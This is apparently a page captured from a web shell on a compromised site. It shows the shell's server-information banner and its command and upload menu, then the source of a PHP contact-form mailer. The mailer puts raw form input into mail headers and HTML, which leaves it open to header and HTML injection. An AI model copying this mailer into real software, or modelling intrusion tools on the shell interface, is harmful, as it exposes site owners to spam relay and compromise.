|
Server IP : 2a02:4780:11:767:0:2c41:85d9:6 / Your IP : 216.73.217.38 Web Server : LiteSpeed System : Linux in-mum-web667.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64 User : u742491609 ( 742491609) PHP Version : 8.1.34 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u742491609/domains/apca.org.in/public_html/admin/inaugration/uploads/../../../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
$sendto = "apcavellore@gmail.com";
$name = nl2br($_POST['name']);
$email = nl2br($_POST['email']);
$subj = nl2br($_POST['subject']);
$message = nl2br($_POST['message']);
$subject = "Contact Form Craft Decor" ;
$headers = "From: " . strip_tags($email) . "\r\n";
$headers .= "Reply-To: ". strip_tags($email) . "\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html;charset=utf-8 \r\n";
$msg = "<html><body style='font-family:Arial,sans-serif;'>";
$msg .= "<center><div style='border:1px solid grey; margin:auto;'> <img src='https://craftdecors.in/assets/images/logo/logo-black.png' width='200px' style='background-color:skyblue; > <div style='float:right;'><a href='http://facebook.com/redbackstudios'><i class='fa fa-facebook' style='color:red'></i></a> </div></center>\r\n";
$msg .= "<div style='width:100%;height:75px;color:white;background-color:#ea622b;text-align:center;padding-top:20px;'><h1>Craft Decor</h1></div>\r\n";
$msg .= "<h2 style='font-weight:bold;border-bottom:1px dotted #ccc;'>GENERAL ENQUIRIES</h2>\r\n";
$msg .= "<p style='text-transform:capitalize;'><strong> Name :</strong>" . $name . "</p>\r\n";
$msg .= "<p><strong> Email :</strong>" . $email. "</p>\r\n";
$msg .= "<p style='text-transform:capitalize;'><strong> Subject :</strong>" . $subj. "</p>\r\n";
$msg .= "<p style='text-transform:capitalize;'><strong> Message :</strong>" . $message . "</p>\r\n";
$msg .= "</div></div>";
$msg .= "<div style='background-color:#333;;text-align:center;text-decoration:none;color:black;width:100%; height:50px;padding-top:10px;'>
<p style='color:white;'>© 2023 <a href='https://craftdecors.in/' style='text-decoration:none;color:white;'><strong>Craft Decor</strong>
<a href='http://redbackstudios.in' style='text-decoration:none;color:White;'>. Powered By Redback Studios</a></p></div>";
$msg .= "</body></html>";
$mails = mail ($sendto,$subject,$msg,$headers);
if($mails == true)
{
echo ("<script language='javascript'> window.alert('Thanks to be partner with Us'); window.location.href='https://craftdecors.in/contact.php'; </script>");
}
else
{
echo "Failed";
}
?>